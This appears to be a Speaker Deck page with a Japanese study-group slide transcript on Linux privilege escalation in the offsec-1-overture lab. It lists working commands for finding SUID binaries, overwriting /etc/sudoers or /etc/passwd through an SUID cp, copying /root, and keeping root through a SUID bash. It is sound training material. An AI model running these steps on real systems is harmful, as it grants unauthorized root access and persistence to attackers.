Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Linuxでの権限昇格 / Privilege Escalation in Linux
Search
tkito
March 24, 2023
Technology
0
710
Linuxでの権限昇格 / Privilege Escalation in Linux
2023/03/24に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/276425/
tkito
March 24, 2023
Tweet
Share
More Decks by tkito
See All by tkito
あの頃(2000年頃)のインターネット / The Internet in the early 2000s
tkito
1
95
Boot2Rootをやろう / Let's play Boot2Root
tkito
0
770
Re: SQLiから始めるRCE生活 / RCE via SQLi
tkito
0
260
権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS
tkito
1
2.5k
SOC-IRとOSCP / SOC-IR and OSCP
tkito
0
100
Other Decks in Technology
See All in Technology
データ資産をシームレスに伝達するためのイベント駆動型アーキテクチャ
kakehashi
PRO
2
550
滅・サービスクラス🔥 / Destruction Service Class
sinsoku
6
1.6k
30分でわかる『アジャイルデータモデリング』
hanon52_
9
2.7k
飲食店予約台帳を支えるインタラクティブ UI 設計と実装
siropaca
7
1.8k
インフラをつくるとはどういうことなのか、 あるいはPlatform Engineeringについて
nwiizo
5
2.6k
Classmethod AI Talks(CATs) #17 司会進行スライド(2025.02.19) / classmethod-ai-talks-aka-cats_moderator-slides_vol17_2025-02-19
shinyaa31
0
120
SA Night #2 FinatextのSA思想/SA Night #2 Finatext session
satoshiimai
1
140
エンジニアのためのドキュメント力基礎講座〜構造化思考から始めよう〜(2025/02/15jbug広島#15発表資料)
yasuoyasuo
17
6.8k
Helm , Kustomize に代わる !? 次世代 k8s パッケージマネージャー Glasskube 入門 / glasskube-entry
parupappa2929
0
250
組織貢献をするフリーランスエンジニアという生き方
n_takehata
1
1.3k
Building Products in the LLM Era
ymatsuwitter
10
5.5k
地方拠点で エンジニアリングマネージャーってできるの? 〜地方という制約を楽しむオーナーシップとコミュニティ作り〜
1coin
1
230
Featured
See All Featured
How to Ace a Technical Interview
jacobian
276
23k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
9
440
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.1k
[RailsConf 2023] Rails as a piece of cake
palkan
53
5.2k
YesSQL, Process and Tooling at Scale
rocio
172
14k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
226
22k
Unsuck your backbone
ammeep
669
57k
Dealing with People You Can't Stand - Big Design 2015
cassininazir
366
25k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
21
2.5k
Side Projects
sachag
452
42k
Writing Fast Ruby
sferik
628
61k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
Transcript
Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう
自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格
おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください
権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4
offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!
offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?
権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい
Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了
offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9
Linuxでの権限昇格 10
offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11
おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12
まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13
おしまい きとう @tkito 14